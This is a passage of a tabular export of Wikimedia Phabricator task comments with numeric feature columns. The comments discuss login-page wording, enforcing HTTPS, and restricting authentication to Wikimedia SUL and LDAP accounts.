4302,Clearer instructions in the Phabricator login page,You can see the text in-situ in the attached mockup,,,1414449311,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-7xuymy2fhqybadsnt2bk,task_subcomment,,True,c3,1,False,,,-36,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.8333333333333334,You can see the text in-situ in the attached mockup
4301,Clearer instructions in the Phabricator login page,"**Proposed Header Text:**
**Wikimedia Foundation and volunteers use Phabricator to manage projects, log and fix bugs, and track progress. You can help!**

**Secondary Text:**
If you have an account on any Wikimedia projects, such as Wikipedia.org or Mediawiki.org you already have an account on this site. ",,,1414449267,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-7xuymy2fhqybadsnt2bk,task_subcomment,,True,c3,1,False,,,-36,True,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,19.0,1.0,6.0,6.0,0.0,0.0,1.0,0.0,7.0,0.0,0.0,0.0,4.0,7.0,15.0,0.0,0.0,0.0,4.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.925373134328358,0.6417910447761194,"**Proposed Header Text:**
**Wikimedia Foundation and volunteers use Phabricator to manage projects, log and fix bugs, and track progress. You can help!**

**Secondary Text:**
If you have an account on any Wikimedia projects, such as Wikipedia.org or Mediawiki.org you already have an account on this site. "
3040,Clearer instructions in the Phabricator login page,">>! In T545#8718, @JKrauska wrote:
> In the office, 'LDAP' typically refers to a user's credentials against our local OpenLDAP server whose passwords are used for Wifi, VPN, the fileserver and Google Apps.
> (also sync'd to a mirror in production to whitelist email endpoints)
> 
> In Labs, LDAP means an entirely different thing.

Currently the page says "" [[ https://wikitech.wikimedia.org/wiki/Help:Getting_Started#Create_a_User_Account | Labs/LDAP user ]]"" (including the link).

The text I'm proposing above says

> You can also use your Gerrit/Labs credentials to connect via LDAP.


> I'd suggest you do away with the keyword LDAP here and just call it a Phabricator login.
> (no need to point out the system underneath)

I wouldn't know what credentials should I enter when asked for ""a Phabricator login"". Sounds like creating a new local account, which we are not doing. I would never relate this ""Phabricator login"" with the Gerrit/Labs account.


> (I'd like to get to the point where we refer to the office IT ldap as simply your Office IT account..)

This is a WMF internal problem that you are in a very good position to solve.  :) 

 
> Focus on the user experience/role -- not the underlying technology..
> 
> Make sense?

Makes sense. I wonder whether ""LDAP"" could be substituted by ""wikitech.wikimedia.org"" in https://phabricator.wikimedia.org/auth/start/",,,1412695023,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-7xuymy2fhqybadsnt2bk,task_subcomment,,True,c3,1,True,,,-39,True,0.0,0.0,0.5,0.5,1.0,2.5,1.5,0.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,3.5,0.0,4.0,5.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.5,1.0,0.0,5.5,1.0,0.0,1.0,0.5,0.0,0.5,2.0,1.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.0,0.0,11.0,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,2.0,0.0,0.0,0.5,0.0,0.5,4.5,3.0,19.0,1.0,0.0,6.5,0.0,0.5,0.0,0.0,3.0,0.0,0.0,0.0,4.5,5.0,10.0,0.0,6.0,0.0,4.5,0.0,2.5,2.5,0.0,2.0,0.0,0.0,0.5,3.6267605633802815,0.6971830985915493,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Currently the page says "" [[ URL | Labs/LDAP user ]]"" (including the link).

The text I'm proposing above says

QUOTE


QUOTE
QUOTE

I wouldn't know what credentials should I enter when asked for ""a Phabricator login"". Sounds like creating a new local account, which we are not doing. I would never relate this ""Phabricator login"" with the Gerrit/Labs account.


QUOTE

This is a WMF internal problem that you are in a very good position to solve.  :) 

 
QUOTE
QUOTE
QUOTE

Makes sense. I wonder whether ""LDAP"" could be substituted by ""wikitech.wikimedia.org"" in URL"
3023,Clearer instructions in the Phabricator login page,"In the office, 'LDAP' typically refers to a user's credentials against our local OpenLDAP server whose passwords are used for Wifi, VPN, the fileserver and Google Apps.
(also sync'd to a mirror in production to whitelist email endpoints)

In Labs, LDAP means an entirely different thing.

I'd suggest you do away with the keyword LDAP here and just call it a Phabricator login.
(no need to point out the system underneath)

(I'd like to get to the point where we refer to the office IT ldap as simply your Office IT account..)

Focus on the user experience/role -- not the underlying technology..

Make sense?
",,,1412648473,,PHID-USER-siktv47fljwejss47lay,False,,,PHID-TASK-7xuymy2fhqybadsnt2bk,task_subcomment,,True,c3,1,False,,,-39,True,0.0,0.0,0.5,0.5,0.5,1.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.5,0.5,7.0,9.5,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,1.0,0.0,3.5,1.0,2.0,0.5,1.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,1.0,0.0,0.0,7.5,0.5,11.5,0.5,1.0,8.5,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,6.0,9.5,5.5,0.5,1.0,0.0,6.0,0.0,1.0,2.0,0.0,0.5,0.0,0.5,0.0,3.8059701492537314,0.7924714661984197,"In the office, 'LDAP' typically refers to a user's credentials against our local OpenLDAP server whose passwords are used for Wifi, VPN, the fileserver and Google Apps.
(also sync'd to a mirror in production to whitelist email endpoints)

In Labs, LDAP means an entirely different thing.

I'd suggest you do away with the keyword LDAP here and just call it a Phabricator login.
(no need to point out the system underneath)

(I'd like to get to the point where we refer to the office IT ldap as simply your Office IT account..)

Focus on the user experience/role -- not the underlying technology..

Make sense?
"
2962,Clearer instructions in the Phabricator login page,"Just added "" link to your mediawiki.org account will be displayed in your Phabricator profile."" as proposed in the description of T258.",,,1412586161,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-7xuymy2fhqybadsnt2bk,task_subcomment,,True,c3,1,True,,,-39,True,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,20.0,4.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.56,0.84,"Just added "" link to your mediawiki.org account will be displayed in your Phabricator profile."" as proposed in the description of T258."
457,Login with http throws ugly error,Login to http://phabricator.wikimedia.org ends up in an ugly error message. I guess we shouldn't allow anybody to login from http in the first place? Only https (which seems to work just fine).,High,80.0,1411028195,1411580780.0,PHID-USER-lluzkul4z7us4sxkayss,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-bx2aqzuojow6lqkpncqn,task_description,resolved,True,c3,1,True,False,True,-41,True,0.0,3.0,0.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,3.0,0.0,5.0,0.0,8.0,18.0,3.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,11.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,5.0,18.0,3.0,3.0,0.0,0.0,5.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.5,0.8947368421052632,Login to URL ends up in an ugly error message. I guess we shouldn't allow anybody to login from http in the first place? Only https (which seems to work just fine).
2620,Login with http throws ugly error,This was fixed by Daniel and Chase: https://gerrit.wikimedia.org/r/162534,,,1411580780,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-bx2aqzuojow6lqkpncqn,task_subcomment,,True,c3,1,True,,,-41,True,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,44.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,This was fixed by Daniel and Chase: GERRIT_URL
2532,Login with http throws ugly error,"Yes, we should enforce HTTPS-only on Phabricator. We've done it on Gerrit  & Bugzilla for years.",,,1411155791,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-bx2aqzuojow6lqkpncqn,task_subcomment,,True,c3,1,True,,,-41,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,9.0,0.0,4.0,13.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,13.0,13.0,13.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5217391304347827,0.9130434782608695,"Yes, we should enforce HTTPS-only on Phabricator. We've done it on Gerrit  & Bugzilla for years."
2511,Login with http throws ugly error,"Hmm, guess that https://gerrit.wikimedia.org/r/#/c/160588/ and https://gerrit.wikimedia.org/r/#/c/160780/ was only for the backend.

Proposing to enforce/redirect to https.",,,1411060401,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-bx2aqzuojow6lqkpncqn,task_subcomment,,True,c3,1,True,,,-41,True,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,18.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,18.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,18.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.6363636363636362,0.8636363636363636,"Hmm, guess that URL and URL was only for the backend.

Proposing to enforce/redirect to https."
16,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","NOTE: [[ https://www.mediawiki.org/wiki/Phabricator/FAQ#Why_can.27t_I_login_using_my_GitHub_or_Google_account.3F | check the FAQ ]] for a summary of why we are not using GitHub, Google, or other third party authentication providers.

**TODO for Day 1:**
  - WMF SUL Authentication (T314)
  - Disable local user creation.

**Already ready for Day 1:**
  - Claiming other accounts (SUL claiming local or vice versa)

**Post-Day 1 Possibilities**
 (please open new bugs that are not blockers to this one):
  - Supporting other/3rd party providers (//e.g.//: github or Persona)



Original report:
----------------

Phabricator has [[ https://secure.phabricator.com/book/phabricator/article/configuring_accounts_and_registration/ | several options for authentication ]] including local username and password (as used on this instance), LDAP and OAuth2 integration. We could technically use any of these three methods to provide authentication for phabricator.wikimedia.org.

Our bugzilla has traditionally used local authentication, but the need to create yet another account is seen by some as a barrier to filing new bugs {{citation needed}}. We have both wikitech LDAP accounts and MediaWiki's own OAuth extension as possible replacements for local auth in the new system. 

The choice of an authentication provider will have ramifications for other tasks as well so it should be undertaken early in the process. It is quite likely that preserving ownership and author attribution will be an important part of migration of issues from bugzilla to phabricator.",High,80.0,1396565770,1410484861.0,PHID-USER-ll6tmaogat2b5q7tnqas,False,PHID-USER-nyhmztvvw4luz5mlcuvg,False,PHID-TASK-3lh24obkrnam3r4lanzs,task_description,resolved,True,c3,1,True,False,True,-65,True,1.0,0.0,0.0,0.6666666666666666,0.6666666666666666,8.333333333333334,0.6666666666666666,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.3333333333333333,0.6666666666666666,4.333333333333333,9.333333333333334,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,1.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,2.3333333333333335,1.0,0.6666666666666666,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,5.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,13.333333333333334,0.0,1.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.3333333333333333,0.0,3.3333333333333335,2.0,11.666666666666666,1.0,3.0,5.333333333333333,0.0,0.0,0.0,0.0,2.6666666666666665,0.3333333333333333,2.3333333333333335,0.0,2.0,9.333333333333334,7.333333333333333,0.0,0.0,0.0,2.0,0.0,0.6666666666666666,1.3333333333333333,0.0,2.3333333333333335,0.0,0.0,1.0,4.262541806020066,0.7376174550087593,"NOTE: [[ URL | check the FAQ ]] for a summary of why we are not using GitHub, Google, or other third party authentication providers.

**TODO for Day 1:**
  - WMF SUL Authentication (T314)
  - Disable local user creation.

**Already ready for Day 1:**
  - Claiming other accounts (SUL claiming local or vice versa)

**Post-Day 1 Possibilities**
 (please open new bugs that are not blockers to this one):
  - Supporting other/3rd party providers (//e.g.//: github or Persona)



Original report:
----------------

Phabricator has [[ URL | several options for authentication ]] including local username and password (as used on this instance), LDAP and OAuth2 integration. We could technically use any of these three methods to provide authentication for phabricator.wikimedia.org.

Our bugzilla has traditionally used local authentication, but the need to create yet another account is seen by some as a barrier to filing new bugs {{citation needed}}. We have both wikitech LDAP accounts and MediaWiki's own OAuth extension as possible replacements for local auth in the new system. 

The choice of an authentication provider will have ramifications for other tasks as well so it should be undertaken early in the process. It is quite likely that preserving ownership and author attribution will be an important part of migration of issues from bugzilla to phabricator."
333760,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)",">>! In T16#12027, @Qgil wrote:
>>>! In T16#11741, @RandomDSdevel wrote:
>> …but where to put something like that, exactly?  
> 
> Now it's here: https://www.mediawiki.org/wiki/Phabricator/FAQ#Why_can.27t_I_login_using_my_GitHub_or_Google_account.3F, visibly linked in the description of this task.

OK, thanks!  ",,,1417043820,,PHID-USER-tulrxb4ebie42howqlxj,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,False,,,-32,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8,0.5333333333333333,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

OK, thanks!  "
3558,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)",">>! In T16#11741, @RandomDSdevel wrote:
> …but where to put something like that, exactly?  

Now it's here: https://www.mediawiki.org/wiki/Phabricator/FAQ#Why_can.27t_I_login_using_my_GitHub_or_Google_account.3F, visibly linked in the description of this task.
",,,1413762303,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-37,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.45,0.9,"QUOTE
QUOTE

Now it's here: URL visibly linked in the description of this task.
"
3527,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)",">>! In T657, the description asks:  
> Do you, the guys at the Wikimedia Foundation, plan on allowing users to link their Phabricator accounts to external accounts originating from sites other than those of the WMF, like Google, Twitter, etc., …?

>>! In T657#11122, @chasemp wrote:
> this question is probably a good candidate to have in a faq type document as I'm sure it will come up again

…but where to put something like that, exactly?  ",,,1413670082,,PHID-USER-tulrxb4ebie42howqlxj,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,False,,,-37,True,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,15.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.35,0.75,"QUOTE
QUOTE

QUOTE
QUOTE

…but where to put something like that, exactly?  "
3526,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)",">>! In T657, the description asks:  
> Do you, the guys at the Wikimedia Foundation, plan on allowing users to link their Phabricator accounts to external accounts originating from sites other than those of the WMF, like Google, Twitter, etc., …?

>>! In T657#11122, @chasemp wrote:
> this question is probably a good candidate to have in a faq type document as I'm sure it will come up again

But where to put something like that, exactly?  ",,,1413670069,,PHID-USER-tulrxb4ebie42howqlxj,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,False,,,-37,True,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,11.0,16.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.473684210526316,0.7368421052631579,"QUOTE
QUOTE

QUOTE
QUOTE

But where to put something like that, exactly?  "
3525,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)",">>! In T657, the description asks:  
> Do you, the guys at the Wikimedia Foundation, plan on allowing users to link their Phabricator accounts to external accounts originating from sites other than those of the WMF, like Google, Twitter, etc., …?

>>! In T657#11122, @chasemp wrote:
> this question is probably a good candidate to have in a faq type document as I'm sure it will come up again",,,1413670040,,PHID-USER-tulrxb4ebie42howqlxj,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,False,,,-37,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,57.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4285714285714284,0.42857142857142855,"QUOTE
QUOTE

QUOTE
QUOTE"
3524,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","From the description of {T657}:  
> Do you, the guys at the Wikimedia Foundation, plan on allowing users to link their Phabricator accounts to external accounts originating from sites other than those of the WMF, like Google, Twitter, etc., …?

>>! In T657#11122, @chasemp wrote:
> this question is probably a good candidate to have in a faq type document as I'm sure it will come up again",,,1413669992,,PHID-USER-tulrxb4ebie42howqlxj,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,False,,,-37,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,36.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.357142857142857,0.8571428571428571,"From the description of {T657}:  
QUOTE

QUOTE
QUOTE"
162,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)",//importing issue status//,,,1410484860,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,//importing issue status//
161,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**mattflaschen** wrote on `2014-07-31 04:26:44 (UTC)`

And LDAP, since that also seems to be decided per {T338}.",,,1410484860,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,17.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1666666666666665,0.875,"**mattflaschen** wrote on CODE

And LDAP, since that also seems to be decided per {T338}."
160,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**mattflaschen** wrote on `2014-07-31 04:24:29 (UTC)`

>>! In T40#114, @mmodell wrote:
> Can't we mark this as done?

Yeah.  That implies marking the GitHub as WONTFIX (since it says ""Support //only// WMF SUL"").  Going ahead and doing so, since no one at {T337} has come out strongly in favor of it, and there are various issues (not necessary, depending on a proprietary third party site to login, privacy, etc.)",,,1410484860,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,1.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,12.0,0.0,1.0,0.0,2.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,5.0,1.0,2.0,2.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,15.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,2.0,12.0,9.0,0.0,2.0,0.0,2.0,0.0,0.0,1.0,0.0,5.0,0.0,0.0,2.0,3.5,0.7682926829268293,"**mattflaschen** wrote on CODE

QUOTE
QUOTE

Yeah.  That implies marking the GitHub as WONTFIX (since it says ""Support //only// WMF SUL"").  Going ahead and doing so, since no one at {T337} has come out strongly in favor of it, and there are various issues (not necessary, depending on a proprietary third party site to login, privacy, etc.)"
159,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**mmodell** wrote on `2014-07-29 16:35:36 (UTC)`

